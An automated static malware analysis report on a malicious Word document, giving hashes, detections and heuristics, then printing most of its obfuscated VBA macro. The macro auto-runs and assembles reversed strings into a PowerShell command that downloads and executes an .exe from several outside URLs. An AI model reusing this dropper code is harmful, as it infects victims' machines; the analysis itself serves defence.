Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 91d6a575782c9957…

MALICIOUS

Office (OLE)

176.0 KB Created: 2018-04-27 19:44:00 Authoring application: Microsoft Office Word First seen: 2018-05-18
MD5: 261c2ae10e5b71c07f9d47b3d96f1891 SHA-1: 8ffbe28851880c331166dd19033483c34200f89f SHA-256: 91d6a575782c9957447fb520a693d45941a862a4abf23a1edb5b2637ab208cc3
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV and exhibits critical heuristic firings for potential shell calls within VBA macros. The presence of a VBA macro file named 'macros.bas' suggests an attempt to execute malicious code. The macro's obfuscated nature and truncated content prevent a definitive analysis of its exact function, but it is highly probable that it acts as a dropper for a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6520875-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6520875-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Line #35:
'  Ld Shell
'  Ld Chr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 178822 bytes
SHA-256: 3723509ff472ee23695d1706c705733ae045c0ce382ac08805545f4e554fbe34
Detection
ClamAV: No threats found
Obfuscation or payload: likely
732 of 1174 identifiers look randomly generated (e.g. 'P1S2USmZsmnqvckwL'); 102 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "PwnujMaI"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub jLcjGS(JTdHC)
Select Case QNmOh
         Case 70860
            iYADj = dhoVv
            zAkHjj = Round(84519)
            YaswB = Hex(jEMct - ChrW(DKvHK))
            DCooU = iZDAjG
         Case 5427
            pPwEfE = CByte(3972)
            TZUMc = Log(ipFcz)
End Select
End Sub
Sub cpjjF(OcGjYG)
Select Case KjnLr
         Case 53813
            WjjPU = VLuOv
            IrGAj = Round(29585)
            lpZQkB = Hex(mSmqd - ChrW(ArovF))
            OzYDh = nTwhDj
         Case 9029
            sqQwQw = CByte(27682)
            VDZEk = Log(DQDLuS)
End Select
Select Case BMmsY
         Case 93398
            OFODlh = JbrfH
            GcVic = Round(14561)
            Qiiso = Hex(vriiEr - ChrW(htQpV))
            CNupL = nPtZrH
         Case 30607
            qRjaV = CByte(29316)
            mdfwnn = Log(VNMfI)
End Select
Select Case EsVsT
         Case 24603
            XBSnW = aLPMpT
            UQkOs = Round(46180)
            itjNLz = Hex(MzvnH - ChrW(OblKs))
            zMtFA = MCpoI
         Case 14277
            vUSdV = CByte(10541)
            XhOOUZ = Log(KrsiZW)
End Select
End Sub
Sub Yjoof(zwQXon)
Select Case MowwQF
         Case 32269
            Rzfkb = BKzKjl
            WndopP = Round(55119)
            QrZjmV = Hex(vtOUF - ChrW(HiJDE))
            zlTMF = GqASJ
         Case 51611
            oaAGFD = CByte(78444)
            iPDvP = Log(POFTlk)
End Select
Select Case ipziU
         Case 58593
            fVdjni = qHcDz
            iSWQR = Round(80460)
            rbvwY = Hex(cJlCbl - ChrW(JnJmT))
            kOZGd = mVfLS
         Case 63721
            iIoDa = CByte(58360)
            zCHEE = Log(SZGuJ)
End Select
End Sub
Sub Autoopen()
On Error Resume Next
Select Case wJFHSU
         Case 35235
            lUwzTV = GRUkj
            IKiHU = Round(4232)
            zMOlCh = Hex(EZAWiH - ChrW(ZdFKli))
            MImKad = wWAzSp
         Case 72586
            FLvlk = CByte(19008)
            QwBbMi = Log(dwiTpk)
End Select
LYotNwwaALX (cbbEw + rTWESTwpdIFfRL + DAYQR)
Select Case AXtPA
         Case 95941
            jrnIwQ = RsDOz
            BWdkT = Round(62486)
            EdQZlJ = Hex(iKkhi - ChrW(NELoS))
            nroKzK = RIdtI
         Case 91771
            JYCbO = CByte(44534)
            OXHIVf = Log(mwKoSq)
End Select
End Sub
Sub zQSSPU(tEQblP)
Select Case oBjav
         Case 76280
            TjCbi = iLTFqF
            MIkJzC = Round(94992)
            TqjjQ = Hex(wvaOW - ChrW(TdjQr))
            hNhkLl = ozjRaa
         Case 86146
            EAqVrN = CByte(40329)
            QsqTCH = Log(YUROVk)
End Select
Select Case ifvDcS
         Case 33697
            AodMOd = uAWMjR
            URijQH = Round(94265)
            LXFSS = Hex(ZolCP - ChrW(sCpptF))
            ZRsIDV = KiZwCJ
         Case 63292
            cGGwKi = CByte(40882)
            lKRiz = Log(bomKb)
End Select
Select Case sTPCw
         Case 54811
            vPpzF = Bajjz
            zDEGzm = Round(82496)
            rCkJsh = Hex(wIqEz - ChrW(hZzwLM))
            wssEp = iTnMR
         Case 30377
            mItif = CByte(13360)
            wCRsf = Log(NPiHKm)
End Select
End Sub
Sub SszJjU(DpLwZo)
Select Case vZjTQE
         Case 77991
            vbAZrB = pfBip
            tIjzKd = Round(38799)
            qUSqD = Hex(qzoti - ChrW(qwYJGc))
            ozjuvz = BQwVG
         Case 51378
            UEGhj = CByte(78195)
            YrqIvD = Log(zkariB)
End Select
End Sub

Attribute VB_Name = "HKaXrwPZBTn"
Sub RVsRc(nrQIp)
Select Case zvJEjW
         Case 57096
            ZoNtj = rsVwq
            UnmbE = Round(35481)
            TuKPzU = Hex(XwnKti - ChrW(PjcIwl))
            fvWRS = RMJiA
         Case 26387
            JdOZN = CByte(48180)
            mvEKFL = Log(FEJSGj)
End Select
End Sub
Function rTWESTwpdIFfRL()
On Error Resume Next
Select Case GBDPmU
         Case 7497
            vrpwsH = iVVVPl
            FzYdJb = Round(97153)
            jhUUAd = Hex(lUWJi - ChrW(CSFhm))
            pThMz = NvFrIL
         Case 54120
            TIHiXH = CByte(20289)
            jBzGGd = Log(fSwXJ)
End Select
HGszMPBlR = IjqfRI("liU'oc.'+'ria'+'dnilb//'+':ptth@/0Mj'+'v'+'e/ed.uagenno'+'w-mi-ei'+'medak'+'a'+'//:pvVWEi", 29791 - 29791 + 6 + 29791 - 29791, 29791 - 29791 + 81 + 29791 - 29791)
Select Case IBVWa
         Case 73616
            zuMLhC = uLbJfH
            jfMro = Round(70204)
            aZMnST = Hex(GlHzU - ChrW(dppnZE))
            JUrmsC = YWIfmB
         Case 80050
            VAYOi = CByte(73289)
            ZTMKik = Log(qZSjDj)
End Select
Select Case fYqjiF
         Case 57209
            EoosG = aPHttw
            crWLq = Round(84561)
            XwBPwN = Hex(aWLkCb - ChrW(KUjoh))
            nXESB = uDhUV
         Case 76481
            qCHmZ = CByte(91038)
            wAtvJq = Log(iRXpW)
End Select
tbXXEfM = IjqfRI("CqYljJ'EcALpeRc- 93]RAhC[,)211]RAhC[+05]RAhC[+15]RAhC[(ecALper-69]RAhC[,)021]RAhC[+501]RAhC[+96]RAhC[(  EcALpeRc-  )'}}'+'{hcta'+'c};k'+'aer'+'b;)CDStk'+'U()p23m'+'etI-ep2'+'3+p23'+'k'+'p23'+'si", 11429 - 11429 + 3 + 11429 - 11429, 11429 - 11429 + 188 + 11429 - 11429)
Select Case mzAsj
         Case 27200
            SctCqw = kRCiHt
            IniIJK = Round(89254)
            lJiwi = Hex(rCPDKQ - ChrW(UGqEMB))
            ROohdV = LWjZDk
         Case 12335
            jXsSOs = CByte(30343)
            fwcNnj = Log(EzIGuW)
End Select
Select Case UHvFO
         Case 62597
            PnZYS = YCOEH
            KmHBd = Round(86492)
            wAaDTB = Hex(bbDQNn - ChrW(fhMbnk))
            nFijdJ = iMGRM
         Case 57682
            VojGXq = CByte(81376)
            zzrTlf = Log(uaqIt)
End Select
lKijLtQaQCC = IjqfRI("USW4,'+'tth'+' p23 ='+' XCDAtkU;)33128'+'2 ,00001(txen.'+'d'+'sadasnt'+'kU '+'= BSNtkU;tne'+'ilCbe'+'W.'+'teN'+'.me'+'tsy'+'S )p23t2", 40727 - 40727 + 2 + 40727 - 40727, 40727 - 40727 + 126 + 40727 - 40727)
Select Case uvUpr
         Case 5589
            OwwBJr = tdUPu
            qGhsJ = Round(46943)
            aSjbEk = Hex(bsPQj - ChrW(tiCwqK))
            WLQFaO = UnObjT
         Case 18918
            vQXwZ = CByte(39334)
            AOEiGG = Log(EjCzf)
End Select
Select Case unchW
         Case 59784
            tRXPS = FCuQNY
            cqXLQw = Round(73154)
            ZVDWM = Hex(nRWrmD - ChrW(vmbwl))
            lMzjqN = iEPQR
         Case 50616
            jTwTtF = CByte(66775)
            lXYbV = Log(hDwNiE)
End Select
Lzwpmi = IjqfRI("P1S2UcU/ed.'+'sserp'+'xretsla/'+'/'+':ptth@/2JX'+'LgOe/ed.msso'+'rga//:ptth@/'+'W'w%", 43507 - 43507 + 3 + 43507 - 43507, 43507 - 43507 + 77 + 43507 - 43507)
Select Case JaoMI
         Case 76909
            iBFaL = VbpHF
            ITacIO = Round(86015)
            wATDmV = Hex(XtHHkR - ChrW(ijRwP))
            FFNpH = whiwjz
         Case 31050
            YiiCnq = CByte(34215)
            ihAVOv = Log(rKJzhr)
End Select
Select Case zlzvL
         Case 1570
            XYuOMo = zzsrL
            BjPMzi = Round(88982)
            oRBmkh = Hex(XEdDwN - ChrW(lrMvRj))
            MQvlD = QWlwh
         Case 12588
            jHscb = CByte(13492)
            ZsPoO = Log(TvXzB)
End Select
uZUsqiHC = IjqfRI("WzoE +'k'+'Sy/'+'ku.gro'+'.d'+'lrow-k'+'rav'+'dr'+'aa'+'//:'+'p'+'t'fa", 83396 - 83396 + 3 + 83396 - 83396, 83396 - 83396 + 63 + 83396 - 83396)
Select Case NYbBF
         Case 1549
            IbBTfV = FzizkU
            JnUBH = Round(44680)
            EUwlwT = Hex(jIGmbv - ChrW(vXZjSY))
            VRYPh = ElHzw
         Case 56868
            DGDiiC = CByte(94957)
            pXMJY = Log(NPuRp)
End Select
Select Case iZmqf
         Case 66468
            SSqcnv = ZRbISj
            nSsQv = Round(22095)
            KwAtt = Hex(tsmEYh - ChrW(FPLiaU))
            zjAjF = MrGtaj
         Case 44379
            IWqiu = CByte(5651)
            hfWjkn = Log(YGKqb)
End Select
QbVIIdzi = IjqfRI("QChlu+'th@/KOS3w0'+'/m'+b5O", 97879 - 97879 + 4 + 97879 - 97879, 97879 - 97879 + 19 + 97879 - 97879)
Select Case NdwUnw
         Case 61197
            lsipK = wtVzfR
            RAdwUI = Round(21287)
            zjjIj = Hex(iZVvz - ChrW(mwmrt))
            JEilLK = FvcSX
         Case 35421
            UjlJuh = CByte(52128)
            STzDi = Log(vVOmCu)
End Select
Select Case bdBTWw
         Case 70202
            CWSPdq = catSwV
            wiibl = Round(48443)
            FDjYs = Hex(Mtuzi - ChrW(juNASJ))
            zctupq = DfXkv
         Case 25242
            MzSir = CByte(71313)
            SjfvoF = Log(dkdQRB)
End Select
oXsPOzBFEQj = IjqfRI("r5'TbXDlZLX", 97927 - 97927 + 8 + 97927 - 97927, 97927 - 97927 + 2 + 97927 - 97927)
Select Case sMJtiW
         Case 19852
            VKCQfW = vRaYHi
            NzBlka = Round(89022)
            TdLjTl = Hex(pIOSl - ChrW(VtXZP))
            pMpsuz = zKszmj
         Case 75268
            qZFwDM = CByte(74221)
            SKotjr = Log(iLUuF)
End Select
Select Case OEQBzI
         Case 45624
            RBCHPf = Fmicjv
            whVMiD = Round(87661)
            kRfjn = Hex(pAKZij - ChrW(iXDilv))
            rzqzz = Hjfmd
         Case 39110
            JQlci = CByte(83326)
            PmTCB = Log(OOJSi)
End Select
iXcJnm = IjqfRI("WY6JKcejbo-p23+p2'+'3w'+'p,", 65212 - 65212 + 2 + 65212 - 65212, 65212 - 65212 + 21 + 65212 - 65212)
Select Case HjQmai
         Case 66770
            mGVXv = hTRmb
            tuzFdn = Round(91628)
            HtZNEk = Hex(VtiKt - ChrW(ZOJRwH))
            ivwXqm = MjKIn
         Case 74488
            JsjITL = CByte(95071)
            amchw = Log(jnohf)
End Select
Select Case Uwrdt
         Case 78244
            zcWlqV = YCFIV
            cXiki = Round(40878)
            BilkKI = Hex(PNzOtT - ChrW(dbwFVa))
            AINQiw = wRGwXz
         Case 65662
            rmaip = CByte(16376)
            FrOCv = Log(wifIuA)
End Select
kFcYAnYhFP = IjqfRI("wDkGN'+'23+p23enp23(. = U'+'YYtkU;modnar )p23tp2'+'3+p23cejbo'+'-wp23+p23ep2'+'3+p23np23(& = dsadasn'+'tkU'(( (NOiSSeRpxe-EKovnIpf", 8226 - 8226 + 3 + 8226 - 8226, 8226 - 8226 + 123 + 8226 - 8226)
Select Case aYTjJ
         Case 65054
            wrPWW = OjKimk
            qDVCcD = Round(97705)
            jaqdw = Hex(oTStZH - ChrW(ONbsfA))
            MXAVJS = WCREG
         Case 67348
            MQZsZ = CByte(26490)
            QrkNds = Log(ptJwDO)
End Select
Select Case zpUNc
         Case 9622
            oRwSm = pUftn
            AXqzOi = Round(99885)
            YjtjiU = Hex(sqqzJ - ChrW(hwruOd))
            ChcEmU = dHsFjc
         Case 53313
            EXPnRK = CByte(93379)
            ovdrSa = Log(DzBKaq)
End Select
KGsrLlG = IjqfRI("pYucrW+p2'+'3ovnIp23(&;)CDStkU'+' ,)(TjJ'+'gNx'+'iEixiEr'+'tSoTTjJ.cfsat'+'k'+'U(TjJe'+'lxiEI'+'Fda'+'OxiElnWxiEoDTjJ.UYYtkU{y'+'rt{)XCDAt'+'k'+'U ni cfisS", 75108 - 75108 + 4 + 75108 - 75108, 75108 - 75108 + 146 + 75108 - 75108)
Select Case pzKZb
         Case 72101
            kOhXwr = iaMfF
            nIIcc = Round(4869)
            pGiSA = Hex(ziSdri - ChrW(jEjwU))
            jfYYo = UmTjoh
         Case 96083
            dIijP = CByte(43304)
            tlMzU = Log(uXjcLI)
End Select
Select Case datvM
         Case 27088
            czOwbU = qOVjHV
            hdXihU = Round(60492)
            YDfEW = Hex(ffKudT - ChrW(DJHdL))
            nzjXGE = wzVMi
         Case 88222
            MYKQWw = CByte(23903)
            iLpiB = Log(iTQEW)
End Select
wmblq = IjqfRI("ztjo@i ) )63w", 15159 - 15159 + 2 + 15159 - 15159, 15159 - 15159 + 6 + 15159 - 15159)
Select Case sSofZA
         Case 95837
            hKzPjY = iwqGN
            bOYicC = Round(11047)
            dEIIS = Hex(ujirW - ChrW(idYNa))
            dKzVZw = uQDQz
         Case 95038
            sLEFpH = CByte(33024)
            NuUzj = Log(wwqLH)
End Select
Select Case fOUEsU
         Case 86840
            QAKJzj = WlFQNq
            vcKsz = Round(91826)
            wiUpVh = Hex(kqJHbq - ChrW(qTqLzo))
            GETMl = SstzX
         Case 95013
            UWqUi = CByte(98380)
            luwJmA = Log(FIUhz)
End Select
OZjWXzjuu = IjqfRI("XjX2wsatkU(hcaerof;)'+'p2'+'3'+'ep2'+'3+p23x'+'e.p23( + BSN'+'tkU +'+' '+'p23dRup23 + cilbu'+'p:vnetkU = CDStkU;)p23@p'+'23('+'tilpS.p23/j'+'IIcjcq", 65071 - 65071 + 4 + 65071 - 65071, 65071 - 65071 + 139 + 65071 - 65071)
Select Case KpZBc
         Case 68705
            aszJj = hfTdVj
            sjLIJZ = Round(71470)
            MjYSX = Hex(wizoru - ChrW(UtzmaI))
            jlfzA = OadQr
         Case 5231
            CNJYqL = CByte(76225)
            AWodlL = Log(qOWjQ)
End Select
Select Case ZAjYOZ
         Case 59607
            Uoqzba = uVHaZN
            ClZQw = Round(51401)
            DtmLR = Hex(KXiSLH - ChrW(RANSj))
            kfBSiw = Uwvzw
         Case 56467
            LQuEl = CByte(19734)
            jWqpPR = Log(mCYGj)
End Select
wbwzjYuY = IjqfRI("lE3H2]RAhC[,'tkU' ecALper-  29]RAhC[,'dRu'  EcALpeRc-43]RAhC[,%", 35377 - 35377 + 2 + 35377 - 35377, 35377 - 35377 + 57 + 35377 - 35377)
Select Case pjBbD
         Case 24722
            SLcfUh = AAFJh
            GBILd = Round(36416)
            PiwXsR = Hex(ObPTAY - ChrW(VXuKU))
            NClzPZ = woaqz
         Case 70541
            jjPEmC = CByte(14288)
            YllIIN = Log(iOAIlT)
End Select
jQoAjICiBzrK = zzITJdaBY + """" + PtblHpYSaY
rTWESTwpdIFfRL = nzoiktia + zLGRtMJLppz + cbivNZfiLuUI + jQoAjICiBzrK + WmPwTtdO + kFcYAnYhFP + iXcJnm + lKijLtQaQCC + HGszMPBlR + QbVIIdzi + uZUsqiHC + Lzwpmi + OZjWXzjuu + KGsrLlG + tbXXEfM + oXsPOzBFEQj + wbwzjYuY + wmblq
Select Case NPsOm
         Case 97433
            YcqKu = wnBBPR
            pjjQh = Round(10769)
            rsEYwK = Hex(mvNCH - ChrW(mmMzo))
            mncuR = Mzjdjc
         Case 63894
            wifYRO = CByte(70856)
            LsozHD = Log(CWjbQS)
End Select
End Function
Sub owowhC(LmEKf)
Select Case jlUDv
         Case 48962
            fkqLMG = MHzPuj
            VfaajW = Round(42966)
            IAAZGB = Hex(kGXjn - ChrW(DHcmaR))
            DnpQz = KGtcO
         Case 5271
            EbqKm = CByte(569)
            sXtrNs = Log(RXzoFF)
End Select
End Sub

Attribute VB_Name = "ubQSzajRj"
Sub zDGSsiwoIzKhGj()
On Error Resume Next
Select Case MGtfhP
         Case 66862
            bzpGfp = YuraNh
            bzitp = Round(507)
            GNVkrn = Hex(nmwiO - ChrW(iSDbR))
            dYPqfT = siwAna
         Case 66362
            UmUWo = CByte(3883)
            lIsww = Log(pJuDc)
End Select
End Sub
Sub LYotNwwaALX(IcisGwsujtp As String)
On Error Resume Next
Select Case WIrWpR
         Case 95410
            prlLDj = JjiFd
            TmGzjU = Round(61901)
            VBzLk = Hex(tdPfE - ChrW(HVuXht))
            wjdLz = sDVkZF
         Case 94019
            sUpoA = CByte(35516)
            XjQDA = Log(pwsjQq)
End Select
Select Case jWspz
         Case 22205
            IYsqZH = PAFih
            zYzMIz = Round(24962)
            FdBJP = Hex(hVczoo - ChrW(Lwoads))
            aznAi = ELWfh
         Case 3780
            pDvqjJ = CByte(26125)
            tXFtsA = Log(ZLmfFz)
End Select
[Shell] HpAaApWzzS + Chr(vbKeyC) + IcisGwsujtp + plHDztTiVhZh + pORlKt, qNqdJd + 0 + qNqdJd
Select Case wzNvF
         Case 80748
            JXVta = GCPiWO
            LaduhH = Round(88214)
            lXloDQ = Hex(qXLwHn - ChrW(HAowu))
            mznOwA = WVSNzw
         Case 41392
            zjEWW = CByte(32745)
            rSXGF = Log(SdFjN)
End Select
End Sub
Function cbivNZfiLuUI()
On Error Resume Next
Select Case vCjYO
         Case 48819
            WErNhh = SNZwT
            XnhijB = Round(66219)
            bMsJU = Hex(qtMzlE - ChrW(sVwji))
            nhZRb = tfHUB
         Case 79705
            qavrw = CByte(7394)
            kfYAc = Log(PifSi)
End Select
HGszMPBlR = IjqfRI("liUAawwNtoYL%!!%BwvvVWEi", 40389 - 40389 + 6 + 40389 - 40389, 40389 - 40389 + 16 + 40389 - 40389)
Select Case AwuaBv
         Case 32922
            aSjZLH = NiwdA
            VUIJYo = Round(29359)
            KApmC = Hex(QwAuvh - ChrW(lSvzp))
            nCAio = RfblRc
         Case 12820
            aPRum = CByte(16143)
            IQiCh = Log(MjCMJ)
End Select
Select Case IdJqLf
         Case 34003
            NbkhWN = rRdwL
            zurvE = Round(38051)
            Opiuw = Hex(DTsdl - ChrW(brjNvh))
            YQflbd = kIjSv
         Case 11947
            sjYsp = CByte(70850)
            Krzos = Log(kXThv)
End Select
tbXXEfM = IjqfRI("CqYlessi", 67460 - 67460 + 3 + 67460 - 67460, 67460 - 67460 + 2 + 67460 - 67460)
Select Case MvIiD
         Case 14303
            rSujZ = ffiKHU
            wZOZf = Round(93943)
            YUNpCX = Hex(tQkzUl - ChrW(tBPHa))
            NZBML = pSnjj
         Case 6445
            YtWFF = CByte(64842)
            AlOwN = Log(jhCXwS)
End Select
Select Case jhCWzf
         Case 8860
            AHEkov = QiIIm
            Xjvkn = Round(58146)
            XbMTK = Hex(ELiMwH - ChrW(UDEVP))
            FKfOB = inLAHl
         Case 18938
            pIZvl = CByte(48734)
            qNmWM = Log(ajUba)
End Select
lKijLtQaQCC = IjqfRI("USW4,% t2", 10068 - 10068 + 2 + 10068 - 10068, 10068 - 10068 + 3 + 10068 - 10068)
Select Case kYEsN
         Case 20156
            cwsKWa = FWMdJj
            wOztrp = Round(51116)
            DrZhQ = Hex(dlPLk - ChrW(wHwCPv))
            vDWqS = imJHzW
         Case 40096
            UtAlp = CByte(20559)
            ckzSZ = Log(tqQudv)
End Select
Select Case jLMsv
         Case 68621
            UTakSQ = biDVQJ
            kipmM = Round(96273)
            EaUpb = Hex(UzYQhi - ChrW(fXzhbz))
            QhwcX = mzdXF
         Case 67226
            XPsGur = CByte(33635)
            bFnolL = Log(NjIKNm)
End Select
Lzwpmi = IjqfRI("P1S2USmZsmnqvckwL%!=%bEw%", 31455 - 31455 + 3 + 31455 - 31455, 31455 - 31455 + 18 + 31455 - 31455)
Select Case XbrRI
         Case 23479
            WBKws = Qismk
            jpbLol = Round(13122)
            ltPuVz = Hex(sRPcj - ChrW(IEEcp))
            lciqVa = FNvPCj
         Case 3047
            kcmPd = CByte(87839)
            YNcJB = Log(XkXizt)
End Select
Select Case YwjdJ
         Case 94754
            FMiVR = Qsssz
            MABoUB = Round(82789)
            CTHHF = Hex(FOvEhY - ChrW(jpZdIH))
            rRHqs = LQWKP
         Case 53029
            pzmFb = CByte(31711)
            FCzoKa = Log(fKcKLu)
End Select
uZUsqiHC = IjqfRI("WzoE zS%fa", 40134 - 40134 + 3 + 40134 - 40134, 40134 - 40134 + 3 + 40134 - 40134)
Select Case PlLROm
         Case 42367
            skpGGC = DUCrYE
            TTjRbj = Round(11945)
            ADhlZM = Hex(oMiNRK - ChrW(wEUow))
            IIUVc = RrkzKp
         Case 65916
            jmYUcW = CByte(55422)
            qNKnfG = Log(czmjz)
End Select
Select Case ojwkA
         Case 82918
            YjbiL = CzwMD
            cMrXs = Round(59052)
            LzVEUr = Hex(iIrLl - ChrW(jNcki))
            CiMwU = vUfGzL
         Case 11518
            SfQCi = CByte(13579)
            JhtGlb = Log(iOjGtq)
End Select
QbVIIdzi = IjqfRI("QChlutes&&NTTQb5O", 72047 - 72047 + 4 + 72047 - 72047, 72047 - 72047 + 9 + 72047 - 72047)
Select Case wzzBRY
         Case 44372
            XLfFi = DzaFXK
            ASriLA = Round(73097)
            WqSPi = Hex(jQBNi - ChrW(mKiaj))
            EiQJAW = iwjHSG
         Case 45934
            GBUNqA = CByte(44749)
            jYsoq = Log(qkRCO)
End Select
Select Case fkMuXE
         Case 63910
            YZmDZ = dqNvE
            moSDW = Round(41363)
            DzOmId = Hex(kPDjLJ - ChrW(QoijP))
            WbkGor = DqRIX
         Case 2945
            iCKni = CByte(50020)
            cOnjku = Log(WzoWH)
End Select
oXsPOzBFEQj = IjqfRI("r5qhzbXDlZLX", 92831 - 92831 + 8 + 92831 - 92831, 92831 - 92831 + 3 + 92831 - 92831)
Select Case YcPIwQ
         Case 15351
            tzuJJ = iNirCp
            uMwZDw = Round(38589)
            rdlQWl = Hex(nBoNS - ChrW(jRsXa))
            TIUzUR = dPSiuU
         Case 76761
            BTIsnO = CByte(62266)
            dCpXWL = Log(DCcBBY)
End Select
Select Case jljAXp
         Case 46210
            IdwYcz = DndSd
            XhYCf = Round(48377)
            ZmBwWP = Hex(zGFAz - ChrW(KizbSi))
            IqzIG = aIEIz
         Case 83995
            lVVbB = CByte(4798)
            zBwid = Log(kqtjw)
End Select
iXcJnm = IjqfRI("WY6JKuswGs,", 45330 - 45330 + 2 + 45330 - 45330, 45330 - 45330 + 5 + 45330 - 45330)
Select Case wSdipt
         Case 81438
            prvzH = iHpJV
            QWJHu = Round(28833)
            mikPUL = Hex(uwHmj - ChrW(LvXFGw))
            VkdBjO = TaIWo
         Case 50239
            DdFba = CByte(72515)
            NkACcn = Log(UwDAv)
End Select
Select Case iLPiOF
         Case 25149
            kICvui = KfCAD
            WpSDAJ = Round(2078)
            CCBMnr = Hex(SYnwL - ChrW(oWcAwG))
            uoMEm = LVzfO
         Case 91304
            whFBj = CByte(13252)
            qsHPEs = Log(iSqDBC)
End Select
kFcYAnYhFP = IjqfRI("wDkGNcsrpJX=%pf", 77013 - 77013 + 3 + 77013 - 77013, 77013 - 77013 + 8 + 77013 - 77013)
Select Case ENqzZf
         Case 60855
            UtZAzs = QaQrT
            Bhzzu = Round(18419)
            CHcMsZ = Hex(TPDJbH - ChrW(XOqDs))
            bCPmK = PCjszf
         Case 42337
            lNQMI = CByte(50527)
            nBXGQ = Log(WiTGw)
End Select
Select Case inWSv
         Case 4431
            oWbCiR = CqJzuR
            mXQCOz = Round(87886)
            uLbXB = Hex(iAJFjH - ChrW(dXHZT))
            OjaFFW = sPFQh
         Case 5453
            PbPbLQ = CByte(20061)
            qAtOK = Log(IzJdv)
End Select
KGsrLlG = IjqfRI("pYucrWlBzWlE% tesisS", 2931 - 2931 + 4 + 2931 - 2931, 2931 - 2931 + 11 + 2931 - 2931)
Select Case ipUGV
         Case 2692
            jSvtYd = KBIjO
            TutaL = Round(83639)
            FjQvn = Hex(hUZHIF - ChrW(iaCvG))
            kCDHr = OtBkwu
         Case 90152
            pdACzF = CByte(73715)
            nktzaE = Log(trzTq)
End Select
Select Case BWOTpZ
         Case 21141
            iGCZJ = BvIzFl
            LwSSZq = Round(25331)
            tczwmR = Hex(owRsj - ChrW(fbNpK))
            pjiMzB = pavBQi
         Case 95810
            oiFcXW = CByte(63087)
            JfMCV = Log(VEdOGX)
End Select
wmblq = IjqfRI("ztjo@is=%ptjw", 13144 - 13144 + 2 + 13144 - 13144, 13144 - 13144 + 6 + 13144 - 13144)
Select Case PPzvBc
         Case 88218
            zBJlmq = INmNIc
            jkzPJ = Round(11034)
            YBcZtZ = Hex(FhVum - ChrW(MiCQi))
            YwPcsP = vjOwm
         Case 35691
            BZzhLs = CByte(32345)
            CjRSVN = Log(ChijT)
End Select
Select Case mmiodi
         Case 44827
            SJUkP = OGtLn
            lvEBYE = Round(26463)
            rzSoZN = Hex(FRjlb - ChrW(ZYopmN))
            dActk = rrhhQ
         Case 48106
            sLSrj = CByte(22622)
            wJoJZ = Log(rLWQL)
End Select
OZjWXzjuu = IjqfRI("XjX2w tes&&Bslkjcq", 64473 - 64473 + 4 + 64473 - 64473, 64473 - 64473 + 10 + 64473 - 64473)
Select Case qoBqXY
         Case 6811
            WQXkT = FAOGw
            aLcTM = Round(36358)
            YafUR = Hex(dijrU - ChrW(ScFffl))
            pNGrz = TBMiM
         Case 64345
            EFffrv = CByte(12710)
            pdZIt = Log(ihUjw)
End Select
Select Case ftWucK
         Case 51621
            zlYkwG = zCwcc
            isAtzS = Round(5608)
            jECAQL = Hex(jYAMJ - ChrW(iNjQi))
            wNSQmG = BAVBfr
         Case 46020
            QjWjfv = CByte(72197)
            dwPTj = Log(iQdTTE)
End Select
wbwzjYuY = IjqfRI("lE3H2dpwTSEWTr% tes&%", 64964 - 64964 + 2 + 64964 - 64964, 64964 - 64964 + 15 + 64964 - 64964)
Select Case RnPtiK
         Case 34482
            XVUlT = jNjwD
            woSWn = Round(3541)
            VEXMX = Hex(VwtGq - ChrW(lTGGdv))
            MlwDzU = qidUs
         Case 11617
            IwGAIz = CByte(34786)
            PnHqBS = Log(phpbGp)
End Select
Select Case CAjGaw
         Case 37039
            nIRzN = HsiJET
            zVOGX = Round(90038)
            SVRSTP = Hex(RrDED - ChrW(jIcGn))
            vXJdQC = aFfSA
         Case 7143
            WqSqz = CByte(57095)
            wpBaEB = Log(motIT)
End Select
BKIucD = IjqfRI("T7w14u,wTSEWTr%!=%BwvtOUaJ", 31702 - 31702 + 3 + 31702 - 31702, 31702 - 31702 + 17 + 31702 - 31702)
Select Case zYJrAP
         Case 22457
            zmZDBz = sqlGJn
            iICMAv = Round(77124)
            mJhSE = Hex(haqjSJ - ChrW(CbXCCc))
            zHBJzA = AonOQA
         Case 62776
            PVjul = CByte(20816)
            vXriz = Log(hfKwTt)
End Select
Select Case DSbcz
         Case 40765
            zjmbUv = CdsNoj
            BUzlR = Round(52068)
            QYlYQE = Hex(ADcBjP - ChrW(wmcjH))
            dbMrcf = Cwbrhu
         Case 71439
            HBCEqs = CByte(3755)
            PMIRw = Log(hWBJw)
End Select
